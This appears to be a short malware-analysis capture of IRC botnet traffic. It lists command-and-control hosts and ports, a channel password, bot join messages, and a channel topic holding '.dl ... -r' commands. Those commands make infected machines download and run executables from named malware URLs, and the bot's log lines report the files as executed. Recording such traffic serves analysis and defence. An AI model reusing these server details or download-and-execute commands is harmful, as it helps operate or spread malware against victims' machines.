Remote Host Port Number
194.247.48.62 1234 PASS priv9
213.251.170.52 80
64.62.181.43 80
66.197.139.152 80
PRIVMSG #ngr :[Ruskill]: Removing “C:WINDOWSsystem32drwtsn32.exe” at reboot
PRIVMSG #ngr :[d=”http://datapimp.fileave.com/setup1.exe” s=”129024 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data2.tmp”
NICK n{US|XP}rdhulwp
USER rdhulwp 0 0 :rdhulwp
JOIN #ngr HELO
PRIVMSG #ngr :[d=”http://mediamarkinc.in/install.52145.exe” s=”73728 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.tmp”
PRIVMSG #ngr :[Ruskill]: Removing “C:Documents and SettingsUserNameApplication Data1.tmp” at reboot
Now talking in #ngr
Topic On: [ #ngr ] [ .dl http://mediamarkinc.in/install.52145.exe -r .dl http://datapimp.fileave.com/setup1.exe -r ]
Topic By: [ [GTFO] ]
infos about hosting:
http://whois.domaintools.com/194.247.48.62